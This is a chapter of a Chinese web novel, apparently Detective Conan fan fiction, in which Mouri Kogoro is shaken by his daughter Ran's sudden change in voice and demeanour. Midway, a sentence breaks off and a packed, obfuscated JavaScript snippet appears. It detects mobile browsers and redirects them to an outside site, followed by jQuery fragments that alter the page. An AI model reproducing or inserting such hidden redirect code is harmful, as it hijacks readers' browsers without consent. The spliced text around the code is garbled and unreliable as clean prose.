49.第 49 章

作品:《从零开始的建设生活

    “我回来了!”


    “爸爸——快来帮我接一下东西!”


    毛利兰捧着一大箩食材爬上二楼,用肩膀抵着房门推开,人还没进屋,打招呼的声音已经钻了进去。


    “啊——啊——呵欠——”


    “小兰啊——”


    懒洋洋的声音慢吞吞地冒出来,好像费劲爬坡的蜗牛一样,好不容易上前一段距离,很快又因为后劲不足可怜巴巴地往下滑落。


    “太早了吧——这才几点啊——”


    一个瘦长的中年男人揉着眼睛,打着呵欠,一边抓着乱糟糟的短发,一边揉着眼角,眼睛半睁不睁,脚下倒是灵活地避开了乱七八糟的一堆杂物,准确又安全地凑到门边。


    “爸爸——!”毛利兰看着眼睛好像都没有睁开的老爸实在忧心,“现在已经快要到八点了!”


    “哪怕没什么委托,侦探事务所也到了准备开门的时候吧?”


    “嗯……”


    被女儿责备的中年男人,毛利小五郎,不置可否。


    他只是伸了伸懒腰,终于愿意好好地睁开双眼,直视新的一天美好的第一幕——


    不是——这谁?


    我的女儿吗?


    啊?


    真的吗?


    不是吧——这谁?


    这……这到底是怎么一回事?


    她……她……天哪……我……怎么会……


    “你……”毛利小五郎的声音忽然拔高,好像突遇危机,不得不以高声尖叫来警示同类的飞鸟,“你是……小兰?”


    “你是毛利兰?你是我的女儿毛利兰?”


    “爸爸——!你又在搞什么啊?”毛利兰瞪了忽然发愣的不靠谱中年男一眼,干脆转动身子,用肩膀把挡路的障碍物·毛利小五郎撞到一边,“这些东西很重的好不好!”


    “让你搭把手都指望不了……哼。”


    毛利小五郎一脸呆滞,弯腰驼背,嘴巴大张,双眼几乎要脱框而出,下巴也恨不得猛地掉落到地面上。他双手茫然地垂在身前,伴随着身体的无意识抖动而轻轻摇晃,像极了一个面对不理解的事物而止步不前的类人大猩猩。他的眼珠子好像还在动,可是眼神却无法聚焦起来,整个人的灵魂似乎都已经从头顶乱翘的黑发里闪电般钻出,遵循冥冥之中某种神秘的召唤飞离头颅,飞向了正在往厨房走去的毛利兰。


    这是……我没睡醒?


    还是昨天晚上喝酒喝得太多了出现了错觉?


    毛利小五郎看着毛利兰一步一步走进厨房,明明她穿着软底的拖鞋,走起路来声音不大,可是隔着一段距离,那一声声踏实稳重的脚步落在毛利兰小五郎耳朵里却无比响亮。


    那是单纯的脚步声吗?


    不!当然不是!


    好似当头一声棒喝,毛利小五郎忽然站直了身体,双拳紧握,身体显现出莫名的激动和亢奋:那是牵动人心弦的高雅旋律!


    厨房的白炽灯有些年头,灯罩被油烟熏得有些泛黄。洒落的灯光也不复曾经的纯净,反倒给过分冷调的白光增添了几抹来自生活的柔和。


    灯光由上至下,照耀在毛利兰的头上、脸上和手上。她的皮肤好像也被蒙上了一层神秘的光辉,苍白之外,又多出了几分不同寻常的蜜色。洗手池水花飞溅,数不清的晶莹水滴更是让她整个人闪闪发光。


    毛利小五郎情不自禁地走到厨房门前,静静驻足,简直不知道自己究竟在看什么——


    当他忽然意识到自己的双脚已经光溜溜地踩在厨房拉门的轨道上时,第一时间的反应并不是疼得龇牙咧嘴,而是被一种完全不能够自我控制的战栗席卷全身。


    “小兰——!”


    为了尽快摆脱这种不正常的状态,毛利小五郎用尽全身力气大喊,仿佛这样就能够回到从前平淡的日常。


    “干什么?”毛利兰怒气尚未消散,应声也能短则短,“我现在很忙!”


    她好像根本没有意识到毛利小五郎的古怪,更没有察觉到对方心中无限的惶恐和疑惑,自然也无法体会他一个人孤零零在泥潭中挣扎求生的痛苦。


    透过磨砂玻璃门,毛利小五郎发现自己完全没办法看清曾经无比熟悉的女儿。那个模糊的剪影即使像真人一样行动自如,却还是让他在越来越响亮、越来越混乱、越来越疯狂的心跳声中忍不住想象:那不是……那还是……那真的是我的女儿毛利兰吗?


    仔细想想!仔细想想!好好想一想!毛利小五郎!你一定可以的!


    毛利小五郎努力与心中的一团乱麻斗争着,尝试从过分恐怖的引力中找回自我,保留完整的自我意识。他反复在内心自我唤醒,妄图通过三流水准的推理让自己脱离险境。


    从最开始小兰进门时开始……


    毛利小五郎回忆:其实从一开始就不对劲!是什么呢?对了!是小兰的声音!虽然跟到了变声期的那种突变不一样,但是小兰说话的语气和语调都和平时不太相同!平常她的声音清脆又甜美,大部分时候是很温柔的,就算把老爹呼来喝去也并不显得尖锐刺耳,反倒有些孩子气。可是……可是刚才完全不是这样!


    那究竟是什么样呢?


    身为侦探,毛利小五郎的生意不好,接触的委托人却很不少。他以为自己至少能够在大范围里找到一种差不多的来形容,可是越是回想那种腔调,他就越是觉得那声音好似魔鬼的低语一样反反复复,不断在脑袋中重复盘旋。仅仅只是改变了咬字习惯和说话的速度,竟然就能让我温柔的女儿变成一个魔鬼般的女孩吗?


    毛利小五郎尝试在脑海里模仿那种腔调,才预演了几个字就觉得自己像个小丑。


    不光是声音不对,小兰当时的表情也不同往常。


    毛利小五郎只恨自己当时没有把眼睛睁到最大,眼角也没有好好擦干净,以至于根本没有将当时的画面完完全全地印刻在脑海里。可奇怪的是,尽管如此,当他想要去回忆的时候,怀抱着一箩食材,表情冷淡却又严肃的毛利兰忽然自己跳了出来。就好像,他在当时的潜意识早就第一时间记录下所有。


    小兰怎么会有那样的表情?


    毛利小五郎简直不敢相信。


    一张精致圆润的鹅蛋脸上怎么会露出那样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552968|184972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的表情?


    是疏离、是冷漠、是高傲……是完全与小兰不相干的表情!


    可是……当那双大眼睛眨动起来,眸光微微闪烁的时候,毛利小五郎却又感觉一切居高临下的表情瞬间消失,取而代之的是一种无法单纯用语言来形容的深切理解和同情。


    好复杂的表情!好神秘的表情!好……好令人无法移开视线、令人心甘情愿追随的表情!


    小兰走进厨房的姿态也大有改变。


    毛利小五郎并不太关注青春期孩子的变化,只觉得满大街的中学生,尤其是中学女生,走起路来都差不多——当然也包括自己的女儿。她们好像偏爱一种略带内八的走法,小兰和小兰的朋友铃木原子都是这样。


    刚才却不是。


    小兰姿势挺拔,步履稳健,笔直的双腿笔直地走着,昂扬之精神简直比那些特意训练的官方人士还要令人侧目。


    毛利小五郎忍不住想起自己曾经在警察学院的过往:就算是曾经那些同学,他们身上的风度恐怕也难以达到如今小兰身上的三分。


    这究竟是怎么一回事?


    这到底是怎么一回事?


    这……这……我……


    “爸爸,早餐好了。”毛利兰从厨房里探出头,平常的动作却因为如今的气质而显得格外风度翩翩,令人目眩神迷。好像她手里端着的并非热气腾腾的早餐,而是世间最珍贵、最奢华的宝物——唯有世间最珍贵、最奢华的宝物才配拥有被这样的人物捧在手中的资格。


    “哦……哦……”


    原来已经过去这么久了吗?


    毛利小五郎赤着脚,同手同脚地往前走,伸手摇摇晃晃地接过餐盘,神思不属地在餐桌旁边游荡。当他终于找准了地方准备放下餐盘,弯腰下身那一刻,湿透的睡衣忽然贴到了脊背上,冻得他一个激灵。


    不知不觉间,他早已在回忆中汗透全身。


    “咚——!”


    毛利小五郎手忙脚乱地放下瓷盘,顾不上盘底与桌面接触时发出的刺耳声音,慌慌张张地冲进房间,用力关上房门。当大门隔开了一段空间后,他好似终于从一直被看不见的紧张和危险重重包裹、层层渗透的环境里求得了一丝喘息的机会。他狼狈地靠在门板上,身体不住地打颤,好像冷得不行,可是汗水却不断从额头、从鬓角从皮肤上渗出,不到一分钟,他就成了一个落汤鸡。


    “爸爸——!!!”


    毛利兰带着怒气的声音响在门外,毛利小五郎却像溺水之人一样,丝毫没有章法地大口呼吸着,殊不知这样只会让自己越陷越深,直至失去意识,最终沉入无尽的水底。


    “咳咳……”


    “我……我只是想先换个衣服。”


    当毛利小五郎再度推开房门的时候,他姿态自如,满脸带笑,一头黑发梳得整齐油亮,两撇胡子也打理得整整齐齐,唇周不见一点青色。一身紫色西装平整服帖,红棕色领带在白色衬衫上无比鲜亮。


    “真是受不了你。”


    毛利兰怀疑地盯着眼前的中年人,看了几秒还是决定上学为先:“吃饭吧。”